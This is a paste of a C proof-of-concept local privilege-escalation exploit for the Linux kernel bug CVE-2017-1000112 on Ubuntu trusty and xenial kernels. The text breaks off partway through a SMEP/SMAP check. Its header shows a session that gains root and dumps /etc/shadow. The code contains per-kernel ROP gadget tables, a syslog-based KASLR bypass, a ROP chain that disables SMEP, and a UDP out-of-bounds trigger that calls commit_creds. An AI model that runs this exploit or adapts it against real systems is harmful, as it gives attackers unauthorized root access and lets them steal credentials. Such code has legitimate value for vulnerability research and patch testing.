SHOW:
|
|
- or go back to the newest paste.
| 1 | // A proof-of-concept local root exploit for CVE-2017-1000112. | |
| 2 | // Includes KASLR and SMEP bypasses. No SMAP bypass. | |
| 3 | // Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels. | |
| 4 | // | |
| 5 | // Usage: | |
| 6 | // user@ubuntu:~$ uname -a | |
| 7 | // Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux | |
| 8 | // user@ubuntu:~$ whoami | |
| 9 | // user | |
| 10 | // user@ubuntu:~$ id | |
| 11 | // uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) | |
| 12 | // user@ubuntu:~$ gcc pwn.c -o pwn | |
| 13 | // user@ubuntu:~$ ./pwn | |
| 14 | // [.] starting | |
| 15 | // [.] checking distro and kernel versions | |
| 16 | // [.] kernel version '4.8.0-58-generic' detected | |
| 17 | // [~] done, versions looks good | |
| 18 | // [.] checking SMEP and SMAP | |
| 19 | // [~] done, looks good | |
| 20 | // [.] setting up namespace sandbox | |
| 21 | // [~] done, namespace sandbox set up | |
| 22 | // [.] KASLR bypass enabled, getting kernel addr | |
| 23 | // [~] done, kernel text: ffffffffae400000 | |
| 24 | // [.] commit_creds: ffffffffae4a5d20 | |
| 25 | // [.] prepare_kernel_cred: ffffffffae4a6110 | |
| 26 | // [.] SMEP bypass enabled, mmapping fake stack | |
| 27 | // [~] done, fake stack mmapped | |
| 28 | // [.] executing payload ffffffffae40008d | |
| 29 | // [~] done, should be root now | |
| 30 | // [.] checking if we got root | |
| 31 | // [+] got r00t ^_^ | |
| 32 | // root@ubuntu:/home/user# whoami | |
| 33 | // root | |
| 34 | // root@ubuntu:/home/user# id | |
| 35 | // uid=0(root) gid=0(root) groups=0(root) | |
| 36 | // root@ubuntu:/home/user# cat /etc/shadow | |
| 37 | // root:!:17246:0:99999:7::: | |
| 38 | // daemon:*:17212:0:99999:7::: | |
| 39 | // bin:*:17212:0:99999:7::: | |
| 40 | // sys:*:17212:0:99999:7::: | |
| 41 | // ... | |
| 42 | // | |
| 43 | // EDB Note: Details ~ http://www.openwall.com/lists/oss-security/2017/08/13/1 | |
| 44 | // | |
| 45 | // Andrey Konovalov <[email protected]> | |
| 46 | #define _GNU_SOURCE | |
| 47 | #include <assert.h> | |
| 48 | #include <errno.h> | |
| 49 | #include <fcntl.h> | |
| 50 | #include <sched.h> | |
| 51 | #include <stdarg.h> | |
| 52 | #include <stdbool.h> | |
| 53 | #include <stdint.h> | |
| 54 | #include <stdio.h> | |
| 55 | #include <stdlib.h> | |
| 56 | #include <string.h> | |
| 57 | #include <unistd.h> | |
| 58 | #include <linux/socket.h> | |
| 59 | #include <netinet/ip.h> | |
| 60 | #include <sys/klog.h> | |
| 61 | #include <sys/mman.h> | |
| 62 | #include <sys/utsname.h> | |
| 63 | #define ENABLE_KASLR_BYPASS 1 | |
| 64 | #define ENABLE_SMEP_BYPASS 1 | |
| 65 | // Will be overwritten if ENABLE_KASLR_BYPASS is enabled. | |
| 66 | unsigned long KERNEL_BASE = 0xffffffff81000000ul; | |
| 67 | // Will be overwritten by detect_versions(). | |
| 68 | int kernel = -1; | |
| 69 | struct kernel_info {
| |
| 70 | const char* distro; | |
| 71 | const char* version; | |
| 72 | uint64_t commit_creds; | |
| 73 | uint64_t prepare_kernel_cred; | |
| 74 | uint64_t xchg_eax_esp_ret; | |
| 75 | uint64_t pop_rdi_ret; | |
| 76 | uint64_t mov_dword_ptr_rdi_eax_ret; | |
| 77 | uint64_t mov_rax_cr4_ret; | |
| 78 | uint64_t neg_rax_ret; | |
| 79 | uint64_t pop_rcx_ret; | |
| 80 | uint64_t or_rax_rcx_ret; | |
| 81 | uint64_t xchg_eax_edi_ret; | |
| 82 | uint64_t mov_cr4_rdi_ret; | |
| 83 | uint64_t jmp_rcx; | |
| 84 | }; | |
| 85 | struct kernel_info kernels[] = {
| |
| 86 | { "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
| |
| 87 | { "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
| |
| 88 | { "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
| |
| 89 | { "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
| |
| 90 | { "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
| |
| 91 | { "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
| |
| 92 | { "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
| |
| 93 | { "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
| |
| 94 | { "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
| |
| 95 | { "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
| |
| 96 | { "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
| |
| 97 | { "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
| |
| 98 | { "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
| |
| 99 | { "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
| |
| 100 | { "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
| |
| 101 | { "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
| |
| 102 | { "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
| |
| 103 | { "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
| |
| 104 | { "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
| |
| 105 | { "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
| |
| 106 | { "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
| |
| 107 | { "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
| |
| 108 | { "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
| |
| 109 | { "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
| |
| 110 | { "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
| |
| 111 | { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
| |
| 112 | { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
| |
| 113 | { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
| |
| 114 | { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
| |
| 115 | { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
| |
| 116 | { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
| |
| 117 | { "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
| |
| 118 | { "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
| |
| 119 | { "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
| |
| 120 | { "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
| |
| 121 | { "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
| |
| 122 | { "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
| |
| 123 | { "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
| |
| 124 | { "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
| |
| 125 | }; | |
| 126 | // Used to get root privileges. | |
| 127 | #define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds) | |
| 128 | #define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred) | |
| 129 | // Used when ENABLE_SMEP_BYPASS is used. | |
| 130 | // - xchg eax, esp ; ret | |
| 131 | // - pop rdi ; ret | |
| 132 | // - mov dword ptr [rdi], eax ; ret | |
| 133 | // - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret | |
| 134 | // - neg rax ; ret | |
| 135 | // - pop rcx ; ret | |
| 136 | // - or rax, rcx ; ret | |
| 137 | // - xchg eax, edi ; ret | |
| 138 | // - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret | |
| 139 | // - jmp rcx | |
| 140 | #define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret) | |
| 141 | #define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret) | |
| 142 | #define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret) | |
| 143 | #define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret) | |
| 144 | #define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret) | |
| 145 | #define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret) | |
| 146 | #define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret) | |
| 147 | #define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret) | |
| 148 | #define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret) | |
| 149 | #define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx) | |
| 150 | // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * | |
| 151 | typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred); | |
| 152 | typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred); | |
| 153 | void get_root(void) {
| |
| 154 | ((_commit_creds)(COMMIT_CREDS))( | |
| 155 | ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)); | |
| 156 | } | |
| 157 | // * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * * | |
| 158 | uint64_t saved_esp; | |
| 159 | // Unfortunately GCC does not support `__atribute__((naked))` on x86, which | |
| 160 | // can be used to omit a function's prologue, so I had to use this weird | |
| 161 | // wrapper hack as a workaround. Note: Clang does support it, which means it | |
| 162 | // has better support of GCC attributes than GCC itself. Funny. | |
| 163 | void wrapper() {
| |
| 164 | asm volatile (" \n\
| |
| 165 | payload: \n\ | |
| 166 | movq %%rbp, %%rax \n\ | |
| 167 | movq $0xffffffff00000000, %%rdx \n\ | |
| 168 | andq %%rdx, %%rax \n\ | |
| 169 | movq %0, %%rdx \n\ | |
| 170 | addq %%rdx, %%rax \n\ | |
| 171 | movq %%rax, %%rsp \n\ | |
| 172 | call get_root \n\ | |
| 173 | ret \n\ | |
| 174 | " : : "m"(saved_esp) : ); | |
| 175 | } | |
| 176 | void payload(); | |
| 177 | #define CHAIN_SAVE_ESP \ | |
| 178 | *stack++ = POP_RDI_RET; \ | |
| 179 | *stack++ = (uint64_t)&saved_esp;\ | |
| 180 | *stack++ = MOV_DWORD_PTR_RDI_EAX_RET; | |
| 181 | #define SMEP_MASK 0x100000 | |
| 182 | #define CHAIN_DISABLE_SMEP \ | |
| 183 | *stack++ = MOV_RAX_CR4_RET; \ | |
| 184 | *stack++ = NEG_RAX_RET; \ | |
| 185 | *stack++ = POP_RCX_RET; \ | |
| 186 | *stack++ = SMEP_MASK; \ | |
| 187 | *stack++ = OR_RAX_RCX_RET; \ | |
| 188 | *stack++ = NEG_RAX_RET; \ | |
| 189 | *stack++ = XCHG_EAX_EDI_RET; \ | |
| 190 | *stack++ = MOV_CR4_RDI_RET; | |
| 191 | #define CHAIN_JMP_PAYLOAD \ | |
| 192 | *stack++ = POP_RCX_RET; \ | |
| 193 | *stack++ = (uint64_t)&payload; \ | |
| 194 | *stack++ = JMP_RCX; | |
| 195 | void mmap_stack() {
| |
| 196 | uint64_t stack_aligned, stack_addr; | |
| 197 | int page_size, stack_size, stack_offset; | |
| 198 | uint64_t* stack; | |
| 199 | page_size = getpagesize(); | |
| 200 | stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1); | |
| 201 | stack_addr = stack_aligned - page_size * 4; | |
| 202 | stack_size = page_size * 8; | |
| 203 | stack_offset = XCHG_EAX_ESP_RET % page_size; | |
| 204 | stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE, | |
| 205 | MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); | |
| 206 | if (stack == MAP_FAILED || stack != (void*)stack_addr) {
| |
| 207 | perror("[-] mmap()");
| |
| 208 | exit(EXIT_FAILURE); | |
| 209 | } | |
| 210 | stack = (uint64_t*)((char*)stack_aligned + stack_offset); | |
| 211 | CHAIN_SAVE_ESP; | |
| 212 | CHAIN_DISABLE_SMEP; | |
| 213 | CHAIN_JMP_PAYLOAD; | |
| 214 | } | |
| 215 | // * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * * | |
| 216 | #define SYSLOG_ACTION_READ_ALL 3 | |
| 217 | #define SYSLOG_ACTION_SIZE_BUFFER 10 | |
| 218 | void mmap_syslog(char** buffer, int* size) {
| |
| 219 | *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); | |
| 220 | if (*size == -1) {
| |
| 221 | perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
| |
| 222 | exit(EXIT_FAILURE); | |
| 223 | } | |
| 224 | *size = (*size / getpagesize() + 1) * getpagesize(); | |
| 225 | *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, | |
| 226 | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); | |
| 227 | *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); | |
| 228 | if (*size == -1) {
| |
| 229 | perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
| |
| 230 | exit(EXIT_FAILURE); | |
| 231 | } | |
| 232 | } | |
| 233 | unsigned long get_kernel_addr_trusty(char* buffer, int size) {
| |
| 234 | const char* needle1 = "Freeing unused"; | |
| 235 | char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); | |
| 236 | if (substr == NULL) {
| |
| 237 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); | |
| 238 | exit(EXIT_FAILURE); | |
| 239 | } | |
| 240 | int start = 0; | |
| 241 | int end = 0; | |
| 242 | for (end = start; substr[end] != '-'; end++); | |
| 243 | const char* needle2 = "ffffff"; | |
| 244 | substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); | |
| 245 | if (substr == NULL) {
| |
| 246 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); | |
| 247 | exit(EXIT_FAILURE); | |
| 248 | } | |
| 249 | char* endptr = &substr[16]; | |
| 250 | unsigned long r = strtoul(&substr[0], &endptr, 16); | |
| 251 | r &= 0xffffffffff000000ul; | |
| 252 | return r; | |
| 253 | } | |
| 254 | unsigned long get_kernel_addr_xenial(char* buffer, int size) {
| |
| 255 | const char* needle1 = "Freeing unused"; | |
| 256 | char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); | |
| 257 | if (substr == NULL) {
| |
| 258 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); | |
| 259 | exit(EXIT_FAILURE); | |
| 260 | } | |
| 261 | int start = 0; | |
| 262 | int end = 0; | |
| 263 | for (start = 0; substr[start] != '-'; start++); | |
| 264 | for (end = start; substr[end] != '\n'; end++); | |
| 265 | const char* needle2 = "ffffff"; | |
| 266 | substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); | |
| 267 | if (substr == NULL) {
| |
| 268 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); | |
| 269 | exit(EXIT_FAILURE); | |
| 270 | } | |
| 271 | char* endptr = &substr[16]; | |
| 272 | unsigned long r = strtoul(&substr[0], &endptr, 16); | |
| 273 | r &= 0xfffffffffff00000ul; | |
| 274 | r -= 0x1000000ul; | |
| 275 | return r; | |
| 276 | } | |
| 277 | unsigned long get_kernel_addr() {
| |
| 278 | char* syslog; | |
| 279 | int size; | |
| 280 | mmap_syslog(&syslog, &size); | |
| 281 | if (strcmp("trusty", kernels[kernel].distro) == 0 &&
| |
| 282 | strncmp("4.4.0", kernels[kernel].version, 5) == 0)
| |
| 283 | return get_kernel_addr_trusty(syslog, size); | |
| 284 | if (strcmp("xenial", kernels[kernel].distro) == 0 &&
| |
| 285 | strncmp("4.8.0", kernels[kernel].version, 5) == 0)
| |
| 286 | return get_kernel_addr_xenial(syslog, size); | |
| 287 | printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");
| |
| 288 | exit(EXIT_FAILURE); | |
| 289 | } | |
| 290 | // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * | |
| 291 | struct ubuf_info {
| |
| 292 | uint64_t callback; // void (*callback)(struct ubuf_info *, bool) | |
| 293 | uint64_t ctx; // void * | |
| 294 | uint64_t desc; // unsigned long | |
| 295 | }; | |
| 296 | struct skb_shared_info {
| |
| 297 | uint8_t nr_frags; // unsigned char | |
| 298 | uint8_t tx_flags; // __u8 | |
| 299 | uint16_t gso_size; // unsigned short | |
| 300 | uint16_t gso_segs; // unsigned short | |
| 301 | uint16_t gso_type; // unsigned short | |
| 302 | uint64_t frag_list; // struct sk_buff * | |
| 303 | uint64_t hwtstamps; // struct skb_shared_hwtstamps | |
| 304 | uint32_t tskey; // u32 | |
| 305 | uint32_t ip6_frag_id; // __be32 | |
| 306 | uint32_t dataref; // atomic_t | |
| 307 | uint64_t destructor_arg; // void * | |
| 308 | uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; | |
| 309 | }; | |
| 310 | struct ubuf_info ui; | |
| 311 | void init_skb_buffer(char* buffer, unsigned long func) {
| |
| 312 | struct skb_shared_info* ssi = (struct skb_shared_info*)buffer; | |
| 313 | memset(ssi, 0, sizeof(*ssi)); | |
| 314 | ssi->tx_flags = 0xff; | |
| 315 | ssi->destructor_arg = (uint64_t)&ui; | |
| 316 | ssi->nr_frags = 0; | |
| 317 | ssi->frag_list = 0; | |
| 318 | ui.callback = func; | |
| 319 | } | |
| 320 | // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * | |
| 321 | #define SHINFO_OFFSET 3164 | |
| 322 | void oob_execute(unsigned long payload) {
| |
| 323 | char buffer[4096]; | |
| 324 | memset(&buffer[0], 0x42, 4096); | |
| 325 | init_skb_buffer(&buffer[SHINFO_OFFSET], payload); | |
| 326 | int s = socket(PF_INET, SOCK_DGRAM, 0); | |
| 327 | if (s == -1) {
| |
| 328 | perror("[-] socket()");
| |
| 329 | exit(EXIT_FAILURE); | |
| 330 | } | |
| 331 | struct sockaddr_in addr; | |
| 332 | memset(&addr, 0, sizeof(addr)); | |
| 333 | addr.sin_family = AF_INET; | |
| 334 | addr.sin_port = htons(8000); | |
| 335 | addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); | |
| 336 | if (connect(s, (void*)&addr, sizeof(addr))) {
| |
| 337 | perror("[-] connect()");
| |
| 338 | exit(EXIT_FAILURE); | |
| 339 | } | |
| 340 | int size = SHINFO_OFFSET + sizeof(struct skb_shared_info); | |
| 341 | int rv = send(s, buffer, size, MSG_MORE); | |
| 342 | if (rv != size) {
| |
| 343 | perror("[-] send()");
| |
| 344 | exit(EXIT_FAILURE); | |
| 345 | } | |
| 346 | int val = 1; | |
| 347 | rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val)); | |
| 348 | if (rv != 0) {
| |
| 349 | perror("[-] setsockopt(SO_NO_CHECK)");
| |
| 350 | exit(EXIT_FAILURE); | |
| 351 | } | |
| 352 | send(s, buffer, 1, 0); | |
| 353 | close(s); | |
| 354 | } | |
| 355 | // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * | |
| 356 | #define CHUNK_SIZE 1024 | |
| 357 | int read_file(const char* file, char* buffer, int max_length) {
| |
| 358 | int f = open(file, O_RDONLY); | |
| 359 | if (f == -1) | |
| 360 | return -1; | |
| 361 | int bytes_read = 0; | |
| 362 | while (true) {
| |
| 363 | int bytes_to_read = CHUNK_SIZE; | |
| 364 | if (bytes_to_read > max_length - bytes_read) | |
| 365 | bytes_to_read = max_length - bytes_read; | |
| 366 | int rv = read(f, &buffer[bytes_read], bytes_to_read); | |
| 367 | if (rv == -1) | |
| 368 | return -1; | |
| 369 | bytes_read += rv; | |
| 370 | if (rv == 0) | |
| 371 | return bytes_read; | |
| 372 | } | |
| 373 | } | |
| 374 | #define LSB_RELEASE_LENGTH 1024 | |
| 375 | void get_distro_codename(char* output, int max_length) {
| |
| 376 | char buffer[LSB_RELEASE_LENGTH]; | |
| 377 | int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH);
| |
| 378 | if (length == -1) {
| |
| 379 | perror("[-] open/read(/etc/lsb-release)");
| |
| 380 | exit(EXIT_FAILURE); | |
| 381 | } | |
| 382 | const char *needle = "DISTRIB_CODENAME="; | |
| 383 | int needle_length = strlen(needle); | |
| 384 | char* found = memmem(&buffer[0], length, needle, needle_length); | |
| 385 | if (found == NULL) {
| |
| 386 | printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
| |
| 387 | exit(EXIT_FAILURE); | |
| 388 | } | |
| 389 | int i; | |
| 390 | for (i = 0; found[needle_length + i] != '\n'; i++) {
| |
| 391 | assert(i < max_length); | |
| 392 | assert((found - &buffer[0]) + needle_length + i < length); | |
| 393 | output[i] = found[needle_length + i]; | |
| 394 | } | |
| 395 | } | |
| 396 | void get_kernel_version(char* output, int max_length) {
| |
| 397 | struct utsname u; | |
| 398 | int rv = uname(&u); | |
| 399 | if (rv != 0) {
| |
| 400 | perror("[-] uname())");
| |
| 401 | exit(EXIT_FAILURE); | |
| 402 | } | |
| 403 | assert(strlen(u.release) <= max_length); | |
| 404 | strcpy(&output[0], u.release); | |
| 405 | } | |
| 406 | #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) | |
| 407 | #define DISTRO_CODENAME_LENGTH 32 | |
| 408 | #define KERNEL_VERSION_LENGTH 32 | |
| 409 | void detect_versions() {
| |
| 410 | char codename[DISTRO_CODENAME_LENGTH]; | |
| 411 | char version[KERNEL_VERSION_LENGTH]; | |
| 412 | get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH); | |
| 413 | get_kernel_version(&version[0], KERNEL_VERSION_LENGTH); | |
| 414 | int i; | |
| 415 | for (i = 0; i < ARRAY_SIZE(kernels); i++) {
| |
| 416 | if (strcmp(&codename[0], kernels[i].distro) == 0 && | |
| 417 | strcmp(&version[0], kernels[i].version) == 0) {
| |
| 418 | printf("[.] kernel version '%s' detected\n", kernels[i].version);
| |
| 419 | kernel = i; | |
| 420 | return; | |
| 421 | } | |
| 422 | } | |
| 423 | printf("[-] kernel version not recognized\n");
| |
| 424 | exit(EXIT_FAILURE); | |
| 425 | } | |
| 426 | #define PROC_CPUINFO_LENGTH 4096 | |
| 427 | // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP | |
| 428 | int smap_smep_enabled() {
| |
| 429 | char buffer[PROC_CPUINFO_LENGTH]; | |
| 430 | int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH);
| |
| 431 | if (length == -1) {
| |
| 432 | perror("[-] open/read(/proc/cpuinfo)");
| |
| 433 | exit(EXIT_FAILURE); | |
| 434 | } | |
| 435 | int rv = 0; | |
| 436 | char* found = memmem(&buffer[0], length, "smep", 4); | |
| 437 | if (found != NULL) | |
| 438 | rv += 1; | |
| 439 | found = memmem(&buffer[0], length, "smap", 4); | |
| 440 | if (found != NULL) | |
| 441 | rv += 2; | |
| 442 | return rv; | |
| 443 | } | |
| 444 | void check_smep_smap() {
| |
| 445 | int rv = smap_smep_enabled(); | |
| 446 | if (rv >= 2) {
| |
